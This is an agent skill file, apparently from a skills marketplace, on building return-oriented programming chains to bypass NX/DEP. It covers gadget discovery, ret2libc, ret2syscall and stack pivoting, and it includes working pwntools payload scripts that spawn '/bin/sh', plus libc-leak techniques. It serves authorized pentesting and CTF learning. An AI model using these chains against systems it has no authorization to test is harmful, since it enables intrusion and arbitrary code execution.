performing-return-oriented-programming

star 599

Methodology for building Return-Oriented Programming (ROP) chains to bypass NX/DEP by reusing existing code gadgets, covering gadget discovery, calling-convention argument setup, ret2libc, ret2syscall (execve), one_gadget, stack alignment, JOP, and stack pivoting across x86/x64/ARM64 during authorized engagements.

xalgord By xalgord schedule Updated 6/6/2026

name: performing-return-oriented-programming description: Methodology for building Return-Oriented Programming (ROP) chains to bypass NX/DEP by reusing existing code gadgets, covering gadget discovery, calling-convention argument setup, ret2libc, ret2syscall (execve), one_gadget, stack alignment, JOP, and stack pivoting across x86/x64/ARM64 during authorized engagements. domain: cybersecurity subdomain: binary-exploitation tags:

  • binary-exploitation
  • return-oriented-programming
  • exploit-development version: '1.0' author: xalgorix license: Apache-2.0

Performing Return-Oriented Programming

When to Use

  • During authorized exploitation when you control the saved return address (via stack overflow, write-what-where, etc.) but NX/DEP prevents executing injected shellcode on the stack.
  • When you need to call an existing function (system, execve, mprotect) or invoke a syscall with attacker-chosen arguments by chaining small ...; ret gadgets.
  • When choosing between ret2libc (call a libc function), ret2syscall (raw sys_execve, common in static binaries), ret2dlresolve, SROP (when gadgets are scarce), or stack pivoting (off-by-one / short overflows).
  • On ARM64 targets where ret jumps to x30 and instructions cannot be entered mid-instruction, requiring JOP or pivot-based approaches.

Critical: Concepts/Steps Most Often Missed

  • 16-byte stack alignment on x86-64. The SysV ABI requires RSP be 16-byte aligned at a call. libc functions use SSE (movaps) and will SIGSEGV if misaligned. If system() crashes inside libc, insert a bare ret gadget before it to realign. This is the single most common reason a "correct" chain crashes.
  • Argument passing differs by arch/ABI. x86 cdecl pushes args on the stack (right-to-left); x86-64 SysV uses RDI, RSI, RDX, RCX, R8, R9; Windows x64 uses RCX, RDX, R8, R9. You need pop rdi; ret-style gadgets to load registers, not just stack values.
  • The function needs a return slot. After system you must place a return address (e.g. exit) or the chain crashes on system's own return. CTFs often get away with garbage, real targets do not.
  • ARM64 entry-point pitfall. When jumping to a function via ROP on ARM64, jump to the function's second instruction to avoid re-storing the stack pointer and looping forever.
  • NUL bytes and bad chars in gadget addresses. A pop rdi; ret gadget at 0x400686 is fine, but addresses with NULs break string-copy overflows. Pick alternate gadgets or use ret2dlresolve/SROP.

How to CONFIRM

Confirm gadget control in gdb: set a breakpoint at the ret of the vulnerable function, single-step into the first gadget, and verify each register holds the intended value (p $rdi, p $rsi) before the call/syscall. Confirm the final primitive by observing the spawned shell (p.interactive() yields an interactive $) or, for mprotect, by checking the target page is now rwx in vmmap. A chain that returns cleanly but spawns nothing usually means an alignment or argument-register error, not a missing gadget.

Workflow

Step 1: Profile the Binary and Find Gadgets

pwn checksec ./vuln        # NX on (need ROP), PIE/RELRO/canary status drives the plan

# Enumerate gadgets
ROPgadget --binary ./vuln | grep -E "pop (rdi|rsi|rdx|rax) ; ret"
ropper --file ./vuln --search "pop rdi"
ROPgadget --binary ./vuln | grep ": ret$"          # alignment gadget
from pwn import *
context.binary = elf = ELF('./vuln')
rop = ROP(elf)                       # pwntools gadget finder
log.info("pop rdi @ %#x", rop.find_gadget(['pop rdi', 'ret'])[0])

Step 2: ret2libc — Call system("/bin/sh")

from pwn import *
context.binary = elf = ELF('./vuln')
libc = elf.libc                       # or ELF('./libc.so.6')
offset = 72                           # confirmed overflow offset

rop = ROP(elf)
ret      = rop.find_gadget(['ret'])[0]            # alignment
pop_rdi  = rop.find_gadget(['pop rdi', 'ret'])[0]
binsh    = next(libc.search(b'/bin/sh\x00'))
system   = libc.symbols['system']

payload  = b'A'*offset
payload += p64(ret)                   # 16-byte alignment fix
payload += p64(pop_rdi) + p64(binsh)  # RDI = "/bin/sh"
payload += p64(system)                # call system
payload += p64(elf.symbols.get('exit', 0))  # clean return slot

When the libc base is unknown/remote, first leak it (e.g. ROP-call puts(puts@got) to leak puts's runtime address), identify the version at libc.blukat.me, then set libc.address = leak - libc.symbols['puts'].

Step 3: ret2syscall — Raw execve (static binaries)

# Target syscall config (x86-64): rax=59, rdi=&"/bin/sh", rsi=0, rdx=0
popRax, popRdi, popRsi, popRdx = p64(0x415664), p64(0x400686), p64(0x4101f3), p64(0x4498b5)
writeGadget = p64(0x48d251)   # mov qword ptr [rax], rdx ; ret
syscall     = p64(0x40129c)
writable    = 0x6b6000        # rw- page from `gef> vmmap`

rop  = popRdx + b"/bin/sh\x00" + popRax + p64(writable) + writeGadget  # plant string
rop += popRax + p64(0x3b)              # rax = 59 (execve)
rop += popRdi + p64(writable)          # rdi = &"/bin/sh"
rop += popRsi + p64(0) + popRdx + p64(0)   # rsi=rdx=0
rop += syscall
payload = b'0'*0x408 + rop

ROPgadget --binary vuln --ropchain auto-generates such a chain. If gadgets are scarce, use SROP to set every register from a forged sigcontext frame.

Step 4: Handle Alignment, one_gadget, and Re-use

# After leaking libc, a single-shot shell gadget avoids argument setup
one_gadget ./libc.so.6     # prints constraints (e.g. [rsp+0x40]==NULL) — satisfy them
# Make the bug reusable: return to main() / the vuln to leak then exploit in two passes
payload += p64(elf.symbols['main'])

For JOP (ARM64 / no ret gadgets), chain gadgets ending in br xN. For off-by-one or tiny overflows, pivot the stack (mov sp, x0-style or leave; ret) into a controlled buffer holding the full chain.

Key Concepts

Concept Description
Gadget A short instruction sequence ending in ret (ROP) or br/jmp (JOP), reused as a building block.
ret2libc Redirect execution to a library function (e.g. system) with crafted arguments instead of shellcode.
ret2syscall Set up registers and invoke a raw syscall (e.g. execve); common in static binaries with many gadgets.
Calling convention x86 cdecl (stack args), x86-64 SysV (RDI/RSI/RDX/RCX/R8/R9), Windows x64 (RCX/RDX/R8/R9).
Stack alignment x86-64 requires RSP 16-byte aligned at a call; fix with an extra ret gadget.
one_gadget A single libc address that execs /bin/sh if certain register/memory constraints hold.
SROP Sigreturn-Oriented Programming: forge a sigcontext to load all registers at once when gadgets are scarce.
Stack pivoting Redirect RSP/SP to a controlled region (heap/buffer) to run a chain that didn't fit in the overflow.
JOP Jump-Oriented Programming: gadgets end in indirect jumps; used on ARM where ret is uncommon.

Tools & Systems

Tool Purpose
ROPgadget Find gadgets, search by pattern, auto-build execve chains (--ropchain).
ropper Alternative gadget finder; works on .so/.dylib, semantic search (e.g. --search "mov x0").
pwntools ROP, ELF, find_gadget, fit, p64, libc.search, process/remote IO; full exploit scripting.
gdb + pwndbg/GEF Step through the chain, verify registers before calls, vmmap for writable pages, find "/bin/sh".
one_gadget Locate single-shot shell gadgets in libc after a leak.
checksec Confirm NX (necessitates ROP), PIE, RELRO, canary.
lldb / dyld-shared-cache-extractor iOS/macOS: list loaded images and extract libraries to mine gadgets.

Common Scenarios

Scenario 1: NX-enabled CTF, known libc

Overflow with offset 72; chain ret (align) -> pop rdi; ret -> &/bin/sh -> system. The alignment ret is the difference between a shell and a crash inside movaps.

Scenario 2: Remote, unknown libc

ROP-call puts(puts@got) to leak the runtime address of puts, fingerprint the libc version online, rebase, then send a second-stage chain calling system("/bin/sh") or a one_gadget.

Scenario 3: Statically linked binary

No libc to call, but abundant gadgets. Plant /bin/sh in a writable .data/.bss page with a write-what-where gadget, set rax=59, args, and syscall to execve.

Scenario 4: ARM64 with NX

No useful ret gadgets; use JOP gadgets ending in br x2 loaded from a controlled heap object, or a stack pivot (mov sp, x0; ... ret) to relocate the stack onto the controlled buffer, then run an mprotect+shellcode chain.

Output Format

## ROP Exploitation Finding

**Vulnerability**: Stack overflow exploited via Return-Oriented Programming (CWE-121 + CWE-787)
**Severity**: Critical (arbitrary code execution, bypasses NX/DEP)
**Binary**: ./vuln (x86-64, NX enabled, No PIE, No canary)

### Control & Chain
- Overflow offset to saved RIP: 72
- Gadgets: ret @0x40101a, pop rdi;ret @0x401213
- Path: ret2libc -> system("/bin/sh") with exit() return slot
- Alignment: extra `ret` inserted to satisfy 16-byte ABI alignment

### Proof
Chain executed system("/bin/sh"); obtained interactive shell as service user (id: uid=1000).

### Impact
Full arbitrary code execution despite non-executable stack.

### Recommendation
1. Eliminate the underlying memory-corruption bug (bounded copies, input validation).
2. Enable Full RELRO, PIE/ASLR, and stack canaries to raise the cost of gadget reuse.
3. Adopt CET/shadow-stack (Intel) or PAC/BTI (ARM) where available to break ROP/JOP.
4. Minimize statically linked, gadget-rich binaries; keep libc/ASLR entropy high.
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill performing-return-oriented-programming
Repository Details
star Stars 599
call_split Forks 104
navigation Branch main
article Path SKILL.md
More from Creator